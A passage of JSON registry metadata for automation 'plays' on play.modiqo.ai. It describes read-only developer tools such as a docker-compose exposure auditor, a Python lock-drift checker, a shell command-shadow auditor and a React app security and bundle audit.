/home/you/project)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:608b9b30939bf98abf0f782a417af46c7edb9ddef2d704b4616f2ab06b419ae1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/siiddhantt/event-workspace-setup@0.5.0","reference":"siiddhantt/event-workspace-setup@0.5.0","uri":"https://play.modiqo.ai/siiddhantt/event-workspace-setup@0.5.0","manifest_uri":"https://play.modiqo.ai/siiddhantt/event-workspace-setup@0.5.0","name":"event-workspace-setup","title":"event-workspace-setup","description":"Ask for today, an older meeting or a project by name. Finds Calendar events and local repositories, prepares their workspace or links, and remembers confirmed choices.","owner":{"kind":"user","slug":"siiddhantt"},"registry_organization":"siiddhantt","tags":["typescript","google-calendar","workspace","editor","meetings","effect-local-write"],"primary_domain":"domain-uncategorized","author":"siiddhantt","version":"0.5.0","published_at":"2026-09-05T05:24:13.273547+00:00","visibility":"public","quality_score":1,"size_bytes":34452,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["scan","events","launch","select","window","bootstrap","configure","auth_calendar"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"run","description":"Prepare an event, or revisit the short setup wizard.","values":["run","setup"]},{"name":"event","type":"string","required":false,"default":"","description":"Optional request, such as whatever is today, Faff last month, or that galaxy ai project; otherwise ask in the terminal."},{"name":"project","type":"string","required":false,"default":"","description":"Optional repository override inside your saved project folder."},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Preview preparation without cloning, installing or opening apps."},{"name":"settings","type":"string","required":false,"default":"","description":"Optional settings JSON for an agent or unattended setup; terminal users can leave this blank."}],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d238e97c6482eab87ddcaf619fdefa5d25a6bcf02ef498d4679e3d75e5c95d7a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":6,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":6,"width":2,"fan_out":0,"for_each_steps":0,"complexity":16,"apis":[{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":"Calendar API","host":"www.googleapis.com/calendar/v3","kind":"rest","tools":37,"fingerprint":"mcp_39UEoxu3DX9zayEgtzXN8HtJxnxy","source":"modiqo/calendar","version":"0.0.4","protocol":"google_discovery","credentials":["CALENDAR_TOKEN"]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["CALENDAR_TOKEN"],"mcp":{"servers":1,"tools":37},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/himanshu-jha/first-visit-cost@0.2.1","reference":"himanshu-jha/first-visit-cost@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/first-visit-cost@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/first-visit-cost@0.2.1","name":"first-visit-cost","title":"first-visit-cost","description":"Measures build-file bytes and models first-paint time on a stated connection; it does not measure when the page becomes usable. On its first real run it found a 1.3 MB PNG beside a 42 KB WebP with the same 1448 by 1086 dimensions. Both files were already in the build, so their size difference was measured. Four probes run as parallel DAG steps over your build output. A byte census gzips recognized text files of at most 8,000,000 bytes directly; larger files retain their raw size. Compression ratios can vary by an order of magnitude between minified JavaScript and an already-compressed font. Image headers are decoded to intrinsic pixel size and compared against the display size the HTML declares. The render-blocking chain is walked to its depth in serialized round trips, since on a high-latency link the number of trips costs more than the bytes. The third-party origins in that static blocking chain are listed. One join turns all four into a first-paint estimate on a stated connection and a fix queue ordered by severity, then estimated byte savings. Page code is not executed, so whatever the page fetches at runtime is reported as not measured rather than assumed absent. Images sized only by CSS or by JavaScript are reported as unattributable rather than guessed at. Font bytes are kept out of the blocking total and reported as an upper bound, because a stylesheet can reference twelve faces while a browser fetches the two it needs. The connection figures are named in the report as a stated model, never as a measurement of anyone's network. Run with no arguments and it selects the build with the newest index.html modification time found in a bounded search under usual project directories, and names it. If no build is found in that search, it uses the bundled demo and says so in its first line. Source trees supplied instead of builds are rejected with an explicit report. Read-only: it reads files, executes no page code, makes no network call and needs no credential.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-web","performance","build","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.2.1","published_at":"2026-09-05T05:10:46.188582+00:00","visibility":"public","quality_score":1,"size_bytes":569516,"license":"MIT","stats":{"downloads":6,"installs":0},"steps":{"count":6,"names":["weigh","budget","images","origins","blocking","validate"]},"parameters":[{"name":"path","type":"string","required":false,"default":"","description":"Absolute path to the project or to its build output. Leave it out to search the first 200 sorted immediate children of each usual project directory and select the build with the newest index.html modification time. The report names the selected build. If none is found in that bounded search, it uses the bundled demo and says so in its first line. A relative path is never right here: steps run in the play run workspace, not your shell, so it resolves somewhere you did not mean.","example":"/Users/you/project"},{"name":"connection","type":"string","required":false,"default":"fast-3g","description":"Which network to price the visit on: slow-3g, fast-3g, 4g or cable. The throughput and latency behind each are printed in the report, because they are a stated model rather than a measurement.","example":"fast-3g"},{"name":"budget_kb","type":"string","required":false,"default":"0","description":"Flag when measured reachable bytes exceed this many kilobytes. Zero disables the comparison. An incomplete below-budget reading is never reported as a pass.","example":"500"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f4d2d45965e95a9c925ec085a1986135a5a3367cc404e65007d65fe5b57dce69","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chaitanyagidwani/applications-in-flight@0.2.1","reference":"chaitanyagidwani/applications-in-flight@0.2.1","uri":"https://play.modiqo.ai/chaitanyagidwani/applications-in-flight@0.2.1","manifest_uri":"https://play.modiqo.ai/chaitanyagidwani/applications-in-flight@0.2.1","name":"applications-in-flight","title":"applications-in-flight","description":"Reconstruct applications in flight from mail and calendar under a read-only method with generic anchor sets, an application identity key, a calendar promotion path and inline contract validation","owner":{"kind":"user","slug":"chaitanyagidwani"},"registry_organization":"chaitanyagidwani","tags":["mail","calendar","applications","read-only"],"primary_domain":"domain-uncategorized","author":"chaitanyagidwani","version":"0.2.1","published_at":"2026-09-05T03:49:58.300238+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":17503,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":14,"names":["auth_gmail","auth_calendar","define_window","select_threads","build_ask_query","find_rejections","find_advancements","find_confirmations","fetch_thread_details","read_calendar_events","build_calendar_window","build_rejection_query","detect_unanswered_asks","build_advancement_query"]},"parameters":[{"name":"lookback_days","type":"number","required":false,"default":120,"description":"Size of the search window in days. A short window with tight anchors outperforms a long window with loose ones: a long sweep drowns the receipt that states the commitment and surfaces only the later decision."},{"name":"timezone","type":"string","required":false,"default":"UTC","description":"IANA timezone used to resolve today and the 48-hour boundary. A UTC-only clock can place the boundary on the wrong local day."},{"name":"confirmation_anchors","type":"string","required":false,"default":"\"thank you for applying\" OR \"received your application\" OR \"thank you for taking the time to submit\" OR \"thank you for taking the time to apply\" OR \"application was sent\" OR \"thank you for your interest\"","description":"Generic phrases marking an application receipt. Never employer-specific. Widen when a receipt phrasing is missed."},{"name":"rejection_anchors","type":"string","required":false,"default":"\"we regret to inform\" OR \"not moving forward\" OR \"not to move forward\" OR \"decided not to proceed\" OR \"will not be proceeding\" OR unsuccessful","description":"Generic phrases marking a decision against the applicant."},{"name":"advancement_anchors","type":"string","required":false,"default":"shortlisted OR \"you have been selected\" OR \"you have been accepted\" OR \"invite you to\" OR \"next round\"","description":"Generic phrases marking forward progress. This set is the noisiest; expect marketing dilution."},{"name":"timeline_anchors","type":"string","required":false,"default":"\"within\" OR \"get back to you\" OR \"hear from us\" OR \"you will hear\" OR \"aim to respond\"","description":"Generic phrases that tend to carry a stated response window. Used to prioritise which bodies are read."},{"name":"ask_anchors","type":"string","required":false,"default":"\"could you\" OR \"can you confirm\" OR \"are you available\" OR \"let me know\" OR \"please reply\" OR RSVP OR \"we require you to\"","description":"First-class fifth set: phrases where the sender requests something from the operator. Templated status anchors miss human acceptances; this set is what surfaces an unanswered ask."},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Calendar to read. A narrow events-only grant may not permit enumerating other calendars."},{"name":"max_threads_per_category","type":"number","required":false,"default":15,"description":"Cap on how many threads from each anchor category (confirmations, rejections, advancements, asks) are eligible for a full-body fetch, applied before cross-category dedup. Bounds a single noisy anchor set from crowding out the others."},{"name":"max_threads_detailed","type":"number","required":false,"default":40,"description":"Global cap on the number of threads.get (full body) calls made in one run, applied after deduping threads that matched more than one anchor category. This is the hard ceiling on read volume and rate-limit exposure."}],"execution":{"adapters":[{"id":"chaitanyagidwani/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"chaitanyagidwani/google-calendar-api","name":"google-calendar-api","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"google-calendar-api","name":"google-calendar-api","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fd7958bd6fd2b200295197dfa98a328a9543850b076232a3ac93c1aaf6e95f48","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":14,"kinds":{"api":6,"shell":6,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":4,"width":7,"fan_out":5,"for_each_steps":1,"complexity":28,"apis":[{"adapter":"gmail-api","steps":6,"methods":["gmail.users.threads.get","gmail.users.threads.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chaitanyagidwani/gmail-api","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"google-calendar-api","steps":2,"methods":["calendar.events.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"chaitanyagidwani/google-calendar-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/aaryanp/loc-by-language@0.0.3","reference":"aaryanp/loc-by-language@0.0.3","uri":"https://play.modiqo.ai/aaryanp/loc-by-language@0.0.3","manifest_uri":"https://play.modiqo.ai/aaryanp/loc-by-language@0.0.3","name":"loc-by-language","title":"loc-by-language","description":"Counts lines of code per file extension in a local directory tree and outputs a summary table sorted by line count.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","local","loc","filesystem","lines-of-code","language","python3","walk","categorize","parameterized","path","so","it","works","any"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.3","published_at":"2026-09-05T03:22:48.263509+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3370,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["list_files","count_lines"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Absolute path to the local directory to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:54018c9aebea38ff54cfab9e523bc9b913558c99a2853e7d53814762dcbae6e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/lgoyal6/py-lock-drift@0.5.1","reference":"lgoyal6/py-lock-drift@0.5.1","uri":"https://play.modiqo.ai/lgoyal6/py-lock-drift@0.5.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/py-lock-drift@0.5.1","name":"py-lock-drift","title":"py-lock-drift","description":"Finds where a Python project's declared dependencies and its lock file disagree, which is how \"works on my machine\" happens. Compares pyproject.toml, requirements files and Pipfile against uv.lock, poetry.lock, Pipfile.lock or pip-compile output and reports five things: packages declared but absent from the lock, packages the lock still carries as direct dependencies that nothing declares any more, declared constraints the locked version violates, a lock whose own record of the manifest no longer matches it, and direct dependencies with no version specifier at all. Only direct dependencies are compared in the locked-but-undeclared direction, because a lock legitimately holds the whole transitive closure; names fold under PEP 503 so Flask_Login and flask-login are one package. Offline, no index call, no API key, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","dependency-workflows","job-lock-drift-audit","tool-python-packaging","effect-read-only","python-packaging","lock-drift","uv-lock","poetry-lock","pipfile-lock","pip-compile","requirements-txt","pyproject-toml","works-on-my-machine","unpinned-dependency","constraint-violation","pep-503","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.1","published_at":"2026-09-04T22:29:40.289637+00:00","visibility":"public","quality_score":1,"size_bytes":20682,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to scan for Python projects (a single project, or a tree of them)","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for manifests and lock files","example":"3"},{"name":"limit","type":"string","required":false,"default":"200","description":"Maximum number of candidate projects to analyse","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3568e446fb99f6de38fd64ccb1e41edbc10a417db12432cb013de397a8fc7834","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/compose-audit@0.5.1","reference":"lgoyal6/compose-audit@0.5.1","uri":"https://play.modiqo.ai/lgoyal6/compose-audit@0.5.1","manifest_uri":"https://play.modiqo.ai/lgoyal6/compose-audit@0.5.1","name":"compose-audit","title":"compose-audit","description":"Audits docker-compose files for what they expose to the host and for the settings that make a stack fragile. The whole value is a distinction a grep cannot make: ports \"127.0.0.1:5432:5432\" is correctly bound to loopback and is never reported, while \"5432:5432\" publishes the same database on every interface the host has and is reported as critical. Both the short string form and the long target/published/host_ip form are understood, along with the IPv6 bracket form and a variable host port. Also finds privileged: true, a mounted docker socket, host network/pid/ipc namespaces, secrets written as plain environment values, :latest and untagged images, missing restart and healthcheck, bind mounts of sensitive host paths, and env_file entries naming a file that is not there. Compose files are parsed, including anchors and merge keys, so a privilege that arrives through <<: *defaults is attributed to the service that inherits it. Read-only, contacts no daemon, needs no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-container-audit","tool-docker-compose","effect-read-only","docker-compose","published-ports","loopback-binding","exposed-database","privileged-container","docker-socket-mount","host-network","latest-tag","missing-healthcheck","bind-mounts","env-file","yaml-anchors","plaintext-secrets","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.5.1","published_at":"2026-09-04T22:28:26.822511+00:00","visibility":"public","quality_score":1,"size_bytes":21336,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for docker-compose files","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"5","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:93095692d01d63755d02a9f534006d3469b4d7bdf36df82ee99e7aa6883546c0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/command-shadow-audit@0.1.3","reference":"dotisacat/command-shadow-audit@0.1.3","uri":"https://play.modiqo.ai/dotisacat/command-shadow-audit@0.1.3","manifest_uri":"https://play.modiqo.ai/dotisacat/command-shadow-audit@0.1.3","name":"command-shadow-audit","title":"command-shadow-audit","description":"When you type python3, what ACTUALLY runs -- and what did it silently replace? Statically parses your shell rc files (~/.zshrc, ~/.zprofile, ~/.bashrc, ~/.bash_profile, ~/.profile, and what they `source` one level deep) for alias, function, and PATH-export definitions, and walks this process's own $PATH for a watchlist of common commands, recording each hit's directory, symlink status, and version-manager convention (asdf, nvm, pyenv, rbenv, conda, brew, or plain system). You get, per command, the winner by the shell's own precedence (function > alias > first PATH hit) and everything that decision silently shadows. Optionally reads --version from duplicates for a small fixed runtime allowlist, one 3-second-capped call each, only when probe_versions=1. Severity: a function shadowing a real binary is worst, a PATH duplicate with a different feature version is next, a same-version duplicate is informational. This play never executes your shell rc files and never opens an interactive shell -- every alias and function it reports comes from statically reading the rc files' own text, never from running them. Read-only, no credentials, no network; the only things this play ever executes are those fixed, capped version probes (python3, python, node, git, curl, ruby, go, rustc, java); needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-developer-workflow","job-command-resolution","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-developer-workflow","author":"Sunzeyu06","version":"0.1.3","published_at":"2026-09-04T18:08:13.380392+00:00","visibility":"public","quality_score":1,"size_bytes":29358,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["resolve","parse_rc","walk_path"]},"parameters":[{"name":"commands","type":"string","required":false,"default":"","description":"Extra commands to audit, comma-separated, added to the built-in watchlist (letters, digits, dash, underscore, dot only -- anything else is ignored with a note)","example":"python3,node"},{"name":"probe_versions","type":"integer","required":false,"default":"0","description":"1 = read --version from the safe allowlist binaries (opt-in; each candidate is realpath/ownership/write-permission trust-checked before it is ever run -- see resolve.py PROBE SAFETY), 0 = pure path analysis, no execution at all (0-1)","example":"1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fe4c21dcde77f6259f1419b2dd835487f2855d8f806fa849fb2116fa7614a7f9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/session-digest@0.1.5","reference":"dotisacat/session-digest@0.1.5","uri":"https://play.modiqo.ai/dotisacat/session-digest@0.1.5","manifest_uri":"https://play.modiqo.ai/dotisacat/session-digest@0.1.5","name":"session-digest","title":"session-digest","description":"You stepped away and your agents kept working. What did they actually do? Digests your recent LOCAL agent session transcripts into \"what happened while you were away\" -- Claude Code transcripts under ~/.claude/projects, plus Codex transcripts under ~/.codex/sessions when present -- into counts only: sessions, duration, tool calls by tool, files edited/written, shell commands run, errors, and token usage totals where the transcript records them. Claude Code and Codex use different JSONL record shapes across versions, so each source gets its own defensive parser that treats an unrecognized record shape as uninformative rather than fatal, degrading just that one file, never the whole run, on a genuine parse disaster -- degraded rows are rendered honestly rather than hidden. The trust line is literal: message text, prompt content, and command argv are never read into the output -- shell commands run are a COUNT only, file paths are reported home-redacted, and nothing here is ever quoted back to you, only counted. Independent implementation sharing no code with Anthropics Apache-2.0 receipts plugin that inspired it. Read-only, no credentials, no network; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-session-digest","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.5","published_at":"2026-09-04T18:07:33.854183+00:00","visibility":"public","quality_score":1,"size_bytes":16839,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":3,"names":["digest_codex","digest_claude","locate_sessions"]},"parameters":[{"name":"window_hours","type":"integer","required":false,"default":"24","description":"Look-back window (1-168)","example":"24"},{"name":"max_sessions","type":"integer","required":false,"default":"12","description":"Digest at most this many sessions, newest first (1-50)","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:71327cfd88e45d3141712f8df23e0037b28327e391166033e77d62c15aee7406","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/hackathon/job-match-scout@0.1.1","reference":"hackathon/job-match-scout@0.1.1","uri":"https://play.modiqo.ai/hackathon/job-match-scout@0.1.1","manifest_uri":"https://play.modiqo.ai/hackathon/job-match-scout@0.1.1","name":"job-match-scout","title":"job-match-scout","description":"Mojito: Find jobs. Skip the wrong ones. Teach it your taste. Evaluates live remote jobs against candidate profile and learns from user corrections.","owner":{"kind":"user","slug":"hackathon"},"registry_organization":"hackathon","tags":["typescript","jobs","career","remote"],"primary_domain":"domain-uncategorized","author":"Omotunwaserejoice","version":"0.1.1","published_at":"2026-09-04T15:40:08.174733+00:00","visibility":"public","quality_score":0.875,"size_bytes":90295,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":2,"names":["fetch_jobs","evaluate_jobs"]},"parameters":[{"name":"candidate_profile","type":"string","required":false,"default":"{\"target_roles\":[\"Flutter Developer\",\"Mobile Software Engineer\"],\"primary_skills\":[\"Flutter\",\"Dart\"],\"other_skills\":[\"React Native\",\"Swift\"],\"experience_years\":2,\"target_level\":[\"Mid-level\",\"Senior\"],\"work_arrangement\":[\"Fully remote\",\"Hybrid in Nigeria\"],\"employment_types\":[\"Full-time\",\"Contract\",\"Freelance\"]}","description":"Candidate profile as JSON. Defaults to a demo profile for a 2-year Flutter developer based in Nigeria."},{"name":"job_query","type":"string","required":false,"default":"flutter","description":"Job search keyword for Himalayas API. Defaults to 'flutter'."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a9f3e0b203b43eef5636ee14be7c1ab873e757748fb3057db46c94f98aa56822","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/dezloper/react-app-audit@0.1.3","reference":"dezloper/react-app-audit@0.1.3","uri":"https://play.modiqo.ai/dezloper/react-app-audit@0.1.3","manifest_uri":"https://play.modiqo.ai/dezloper/react-app-audit@0.1.3","name":"react-app-audit","title":"react-app-audit","description":"Audits a React or Next.js app in two passes: it reads your source for security problems, then it opens the build you actually ship and measures it. 24 kinds of finding across 6 parallel checks. SECURITY: 12 credential shapes (AWS, GitHub, Stripe, OpenAI, Anthropic, Google, Slack, SendGrid, JWT, private keys) matched against NEXT_PUBLIC_, VITE_ and REACT_APP_ variables and against hardcoded strings, plus 5 unsafe source patterns (dangerouslySetInnerHTML graded by where its data comes from, eval, new Function, innerHTML, document.write) and links opened with target _blank and no noopener. BUNDLE: gzipped JavaScript and CSS totals, the 10 largest chunks, first-load size per route against a budget you set, and which of your dependencies are present in the browser chunks, including 20 server SDKs such as Notion, Prisma, Stripe and AWS that should never be there. ALSO: pages and layouts marked use client, 11 heavy packages and 18 server-only packages imported client side, plain img tags, oversized images, and 7 build settings that skip TypeScript or ESLint or publish source maps. It refuses to give you a number it cannot stand behind: a development build, a stale build, or no build at all is reported as not measured rather than as fine. Package presence in chunks is an upper bound, not an exact cost, because chunks are shared, and first-load figures are summed from the route manifest so they can differ slightly from what next build prints. Secret values are matched by shape and never printed. Read only: it reads your files and changes nothing. Use it as a bundle size and performance check as well as a security scan: it reports first load JavaScript per route, finds the slow heavy chunks, and covers XSS risk and common React and Nextjs vulnerability patterns, environment variable and dotenv leaks, and image optimization. It deliberately does not flag the safe lookalikes: publishable keys, Google Analytics ids and Sentry DSNs behind a public prefix, a git SHA or SRI hash that looks like a secret, or dangerouslySetInnerHTML on a <style> tag or a static constant.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","tool-react","tool-nextjs","job-frontend-audit","job-secret-detection"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.3","published_at":"2026-09-04T12:41:29.12138+00:00","visibility":"public","quality_score":1,"size_bytes":23780,"license":null,"stats":{"downloads":6,"installs":0},"steps":{"count":8,"names":["assess","scan_bundle","scan_images","scan_unsafe_html","validate_project","scan_build_config","scan_client_weight","scan_client_secrets"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"The React or Next.js app to audit. Defaults to the folder you run it from. In a monorepo, point this at the app folder.","example":"apps/web"},{"name":"max_image_kb","type":"string","required":false,"default":"500","description":"Report images larger than this many kilobytes.","example":"200"},{"name":"first_load_budget_kb","type":"string","required":false,"default":"130","description":"The first-load JavaScript budget per route, gzipped. Next treats 130 KB as 